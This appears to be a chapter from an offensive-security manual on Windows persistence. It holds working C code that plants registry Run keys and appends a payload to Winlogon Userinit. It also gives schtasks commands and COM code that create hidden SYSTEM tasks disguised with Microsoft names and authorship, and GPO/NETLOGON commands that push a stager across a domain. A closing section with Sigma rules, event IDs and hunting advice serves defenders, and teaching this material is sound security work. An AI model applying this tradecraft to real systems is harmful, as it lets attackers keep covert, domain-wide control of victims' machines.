Chapter 124

Persistence: Registry Run Keys and Scheduled Tasks

Surviving reboots via HKCU/HKLM Run keys, scheduled task creation through schtasks.exe and the COM-based Task Scheduler API, task trigger types for stealthy re-execution, and logon-script-based persistence via AD Group Policy

Scenario

You've established initial access and loaded your beacon in memory. The target machine reboots for a patch cycle overnight. Without persistence, your access is gone. You write a run key pointing at a small encrypted stager (not your full beacon — that lives only in memory). The stager looks like a Windows update helper. On reboot it downloads and reflectively loads your beacon from the C2 server. No disk beacon, just a 12KB stager with a plausible name in System32 and a registry key that triggers it at logon. The SOC sees a new Run key in their registry baselining alert, but the binary is signed with a leaked code-signing cert and passes AV. You've survived the reboot window.

Persistence Decision Model

Choosing a persistence mechanism: User-level (HKCU, user's scheduled task): Pros: No admin required, survives account logon not reboot Cons: Only runs when that user logs in; lost if user account deleted Use: Initial access from low-priv phishing payload System-level (HKLM, SYSTEM scheduled task, service): Pros: Runs at boot, every user, SYSTEM context Cons: Requires admin/SYSTEM to write Use: After privilege escalation; server environments Fileless (WMI subscription, registry-resident shellcode): Pros: No binary on disk; survives file-scanning Cons: Registry/WMI artifacts still present; complex to implement Use: Long-term persistent access, avoiding EDR file scanning Run key detection risk (low→high): HKCU\...\Run → Low noise (user programs) HKLM\...\Run → Medium (system-wide, more scrutinized) HKLM\...\RunOnce → Medium (one-time execution; cleared after run) Scheduled Task (SYSTEM) → High (creates 4698 event + task XML artifact)

Registry Run Keys — All Locations

Key PathTriggerContextAdmin Required
HKCU\Software\Microsoft\Windows\CurrentVersion\RunUser logonLogged-in userNo
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceNext logon only (then deleted)Logged-in userNo
HKLM\Software\Microsoft\Windows\CurrentVersion\RunEvery user logonLogged-in userYes
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceNext logon only (then deleted)Logged-in userYes
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon (Userinit value)Every logon, before desktopLogged-in userYes
HKLM\SYSTEM\CurrentControlSet\Services\<name>Service start (boot or demand)Service account (often SYSTEM)Yes
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadUser logon (deprecated, still works)UserNo

Registry Run Key Persistence (C)

// Write a HKCU Run key — no admin required
#define RUN_KEY  L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define VALUE_NAME  L"WindowsUpdateHelper"

BOOL SetRunKeyPersistence(const wchar_t* payloadPath) {
    HKEY hKey;
    LSTATUS status = RegOpenKeyExW(HKEY_CURRENT_USER, RUN_KEY, 0,
                                   KEY_SET_VALUE, &hKey);
    if (status != ERROR_SUCCESS) return FALSE;

    status = RegSetValueExW(hKey, VALUE_NAME, 0, REG_SZ,
                             (const BYTE*)payloadPath,
                             (DWORD)((wcslen(payloadPath) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    return (status == ERROR_SUCCESS);
}

// Remove the run key (cleanup on beacon death or operator command)
BOOL RemoveRunKeyPersistence() {
    HKEY hKey;
    RegOpenKeyExW(HKEY_CURRENT_USER, RUN_KEY, 0, KEY_SET_VALUE, &hKey);
    LSTATUS s = RegDeleteValueW(hKey, VALUE_NAME);
    RegCloseKey(hKey);
    return (s == ERROR_SUCCESS);
}

// HKLM version — requires admin
BOOL SetRunKeySystemPersistence(const wchar_t* payloadPath) {
    HKEY hKey;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE, RUN_KEY, 0, KEY_SET_VALUE, &hKey);
    LSTATUS s = RegSetValueExW(hKey, VALUE_NAME, 0, REG_SZ,
                               (const BYTE*)payloadPath,
                               (DWORD)((wcslen(payloadPath) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    return (s == ERROR_SUCCESS);
}

// Winlogon Userinit modification (appends to existing value, more stealthy)
// Default: "C:\Windows\system32\userinit.exe,"
// Modified: "C:\Windows\system32\userinit.exe,C:\Windows\Temp\stager.exe"
BOOL WinlogonUserInitPersist(const wchar_t* payloadPath) {
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
        0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return FALSE;

    WCHAR existing[512] = {0};
    DWORD len = sizeof(existing);
    RegQueryValueExW(hKey, L"Userinit", NULL, NULL, (BYTE*)existing, &len);

    // Append our payload (comma-separated)
    WCHAR newVal[1024];
    swprintf_s(newVal, 1024, L"%s,%s", existing, payloadPath);
    RegSetValueExW(hKey, L"Userinit", 0, REG_SZ,
                   (BYTE*)newVal, (DWORD)((wcslen(newVal) + 1) * sizeof(wchar_t)));
    RegCloseKey(hKey);
    return TRUE;
}

Scheduled Tasks — schtasks Command Patterns

# Create a scheduled task that runs at logon as SYSTEM
schtasks /create /tn "Microsoft\Windows\MUI\LpRemove" /tr "C:\Windows\Temp\stager.exe" ^
         /sc onlogon /ru SYSTEM /f

# On reboot (SYSTEM, no logon required)
schtasks /create /tn "Microsoft\Windows\Maintenance\WinSAT" /tr "C:\Windows\stager.exe" ^
         /sc onstart /ru SYSTEM /f

# Every 15 minutes (vigilant callback)
schtasks /create /tn "Microsoft\Windows\Customer Experience Improvement Program\Uploader" ^
         /tr "C:\Windows\stager.exe" /sc minute /mo 15 /ru SYSTEM /f

# On idle (blends with background maintenance tasks)
schtasks /create /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "stager.exe" ^
         /sc onidle /i 10 /ru SYSTEM /f

# Task name tip: always use existing Microsoft task path namespaces
# \Microsoft\Windows\MUI\, \Microsoft\Windows\Maintenance\, etc.
# Avoid: \MyTask, \CustomTask — those stick out in baseline comparisons

# Hiding the task: delete .job file but keep registry entry (breaks task GUI)
# Task XML stored at: C:\Windows\System32\Tasks\
# Registry:           HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\

# Query tasks:
schtasks /query /tn "Microsoft\Windows\MUI\LpRemove" /fo LIST /v
# Delete:
schtasks /delete /tn "Microsoft\Windows\MUI\LpRemove" /f

Scheduled Task XML Anatomy

<!-- Task XML template — most fields required to avoid GUI anomaly alerts -->
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2024-01-15T08:00:00</Date>
    <Author>Microsoft Corporation</Author>
    <Description>Updates Windows language resources</Description>  <!-- plausible -->
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <Delay>PT2M</Delay>  <!-- 2 minute delay after logon -- reduces analysis window -->
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>  <!-- SYSTEM SID -->
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>  <!-- no time limit -->
    <Hidden>true</Hidden>  <!-- hide from Task Scheduler GUI -->
    <Priority>7</Priority>
  </Settings>
  <Actions>
    <Exec>
      <Command>C:\Windows\System32\stager.exe</Command>
    </Exec>
  </Actions>
</Task>

Task Scheduler COM API (C)

// Create scheduled task programmatically via COM (ITaskService)
// More flexible than schtasks.exe; no command-line artifacts

#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

BOOL CreatePersistTask(const wchar_t* taskName, const wchar_t* taskPath,
                       const wchar_t* execPath) {
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    ITaskService* pSvc = NULL;
    CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
                     IID_ITaskService, (VOID**)&pSvc);
    pSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());

    ITaskFolder* pRoot = NULL;
    pSvc->GetFolder(_bstr_t(taskPath), &pRoot);

    ITaskDefinition* pTask = NULL;
    pSvc->NewTask(0, &pTask);

    // Registration info
    IRegistrationInfo* pRegInfo = NULL;
    pTask->get_RegistrationInfo(&pRegInfo);
    pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation"));
    pRegInfo->put_Description(_bstr_t(L"Updates Windows language resources"));
    pRegInfo->Release();

    // Principal — SYSTEM, highest privileges
    IPrincipal* pPrincipal = NULL;
    pTask->get_Principal(&pPrincipal);
    pPrincipal->put_UserId(_bstr_t(L"S-1-5-18"));  // SYSTEM SID
    pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
    pPrincipal->Release();

    // Settings
    ITaskSettings* pSettings = NULL;
    pTask->get_Settings(&pSettings);
    pSettings->put_StopIfGoingOnBatteries(VARIANT_FALSE);
    pSettings->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
    pSettings->put_Hidden(VARIANT_TRUE);
    pSettings->put_ExecutionTimeLimit(_bstr_t(L"PT0S"));
    pSettings->Release();

    // Trigger — logon trigger with 2-minute delay
    ITriggerCollection* pTriggers = NULL;
    pTask->get_Triggers(&pTriggers);
    ITrigger* pTrigger = NULL;
    pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
    ILogonTrigger* pLogonTrigger = NULL;
    pTrigger->QueryInterface(IID_ILogonTrigger, (VOID**)&pLogonTrigger);
    pLogonTrigger->put_Delay(_bstr_t(L"PT2M"));
    pLogonTrigger->Release();
    pTrigger->Release();
    pTriggers->Release();

    // Action — execute our payload
    IActionCollection* pActions = NULL;
    pTask->get_Actions(&pActions);
    IAction* pAction = NULL;
    pActions->Create(TASK_ACTION_EXEC, &pAction);
    IExecAction* pExecAction = NULL;
    pAction->QueryInterface(IID_IExecAction, (VOID**)&pExecAction);
    pExecAction->put_Path(_bstr_t(execPath));
    pExecAction->Release();
    pAction->Release();
    pActions->Release();

    // Register the task
    IRegisteredTask* pRegTask = NULL;
    HRESULT hr = pRoot->RegisterTaskDefinition(
        _bstr_t(taskName), pTask,
        TASK_CREATE_OR_UPDATE,
        _variant_t(),           // user (empty = from Principal)
        _variant_t(),           // password
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegTask
    );

    if (pRegTask) pRegTask->Release();
    pTask->Release();
    pRoot->Release();
    pSvc->Release();
    CoUninitialize();
    return SUCCEEDED(hr);
}

Logon Scripts and GPO Persistence

# Domain-level persistence via Group Policy Objects — affects all machines in OU
# Requires: permission to modify GPO (Group Policy Creator Owners or Domain Admin)

# Method 1: User logon script via GPO
# Set in GPO: User Configuration → Windows Settings → Scripts → Logon
# Add script: \\dc01\NETLOGON\winupdate.bat (runs as user at logon)

# Method 2: Computer startup script via GPO
# GPO: Computer Configuration → Windows Settings → Scripts → Startup
# Runs as SYSTEM at machine startup

# Method 3: Scheduled task deployed via GPO
# GPO: Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks
# Create a scheduled task in GPO — deployed to all machines in OU

# PowerShell: Add logon script to GPO directly (requires AD module + GPO permissions)
$gpo = Get-GPO -Name "Default Domain Policy"
Set-GPRegistryValue -Guid $gpo.Id -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" ^
    -ValueName "WinUpdate" -Type String -Value "C:\Windows\Temp\stager.exe"

# Modifying NETLOGON share (\\domain\NETLOGON) — executes on every domain logon
copy stager.bat \\corp.local\NETLOGON\login.bat
# Add to existing logon script in GPO, or set as new logon script

# Persistence impact: affects EVERY domain-joined machine in scope
# This is nuclear-level persistence: survives endpoint reimaging if GPO persists

Detection Engineering

-- Scheduled task and run key detection

-- Event IDs:
--   4698: Scheduled task created
--   4702: Scheduled task updated
--   4699: Scheduled task deleted
--   4657: Registry value modified (requires Object Access audit + SACL on Run key)
--   4663: Registry key access

-- Sigma: Scheduled task created with suspicious binary path
title: Suspicious Scheduled Task Creation
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|all:
      - '/create'
      - '/ru SYSTEM'
    CommandLine|contains:
      - '\Temp\'
      - '\AppData\'
      - '\Users\Public\'
  condition: selection
level: high

-- Sysmon: Registry key persistence detection (Event 13 = RegistryValueSet)
title: Registry Run Key Persistence
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    EventID: 13
    TargetObject|contains:
      - '\CurrentVersion\Run'
      - '\CurrentVersion\RunOnce'
      - 'Winlogon\Userinit'
      - 'Winlogon\Shell'
  filter_legit:
    Image|contains:
      - '\setup.exe'
      - '\install'
      - '\msiexec.exe'
  condition: selection AND NOT filter_legit
level: medium

-- Run key baselining approach (detection engineering best practice):
-- 1. Baseline all HKCU\...\Run and HKLM\...\Run values across the fleet at T=0
-- 2. Export periodically and diff: new values = investigate
-- 3. PowerShell baselining:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
    Select-Object * -ExcludeProperty PSPath,PSParentPath,PSChildName,PSDrive,PSProvider |
    Export-Csv "run_key_baseline_$(Get-Date -f yyyyMMdd).csv"

Q&A

What makes a scheduled task "hidden" and how does it affect detection?

Setting <Hidden>true</Hidden> in a task's XML definition (or put_Hidden(VARIANT_TRUE) via the COM API) removes the task from the Windows Task Scheduler GUI display. A standard IT admin checking Task Scheduler won't see it. However, the task's XML file still exists at C:\Windows\System32\Tasks\<path>, the task still appears in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\, and scheduled task events (4698, 4702) still fire when the task is created/modified. The schtasks /query /fo LIST /v command-line tool shows hidden tasks when run with appropriate permissions. From a detection standpoint, the hidden flag is itself a red flag: legitimate Windows maintenance tasks do not typically set Hidden=true. Hunting specifically for tasks with <Hidden>true</Hidden> in their XML definition across the fleet finds a small number of highly suspicious tasks. To enumerate hidden tasks: iterate the task cache registry key, read each task's Definition data, or recurse C:\Windows\System32\Tasks\ and grep the XML files for the Hidden element. Autoruns (Sysinternals) shows hidden tasks when run as admin. Microsoft Defender for Endpoint's timeline also surfaces task creation events regardless of the Hidden flag.

What is the difference between a "logon trigger" and an "event trigger" in scheduled tasks, and which is harder to detect behaviorally?

A logon trigger fires every time any user (or a specific user if UserId is set) logs into the system. It's simple, reliable, and generates a task-ran event at every interactive logon — which makes it easy to correlate with logon events (4624). An event trigger fires when a specific Windows event log entry is created. This is more powerful for evasion: instead of running at logon (predictable), the task can be configured to run when Event ID 4688 (process creation) fires with a specific process name, or when Event 4776 (NTLM auth attempt) is logged, or any other event. Attackers use event triggers to make persistence appear as a response to legitimate system activity: "run my beacon whenever Security log event 4624 occurs" makes the task's execution time match a real user logon without creating a new task-ran event correlation. Detection of event-triggered tasks: look for task XML containing <EventTrigger> elements referencing security event IDs, especially on tasks with suspicious action paths. Event-triggered tasks can also be used for defense: build a detection task that fires on specific LOLBin events and logs or notifies — but in that case, the action should write to a monitoring log, not run arbitrary executables. The most operationally stealthy trigger is the calendar-based trigger with randomized minutes offset, or an idle trigger — these produce execution timing that doesn't directly correlate to any security event.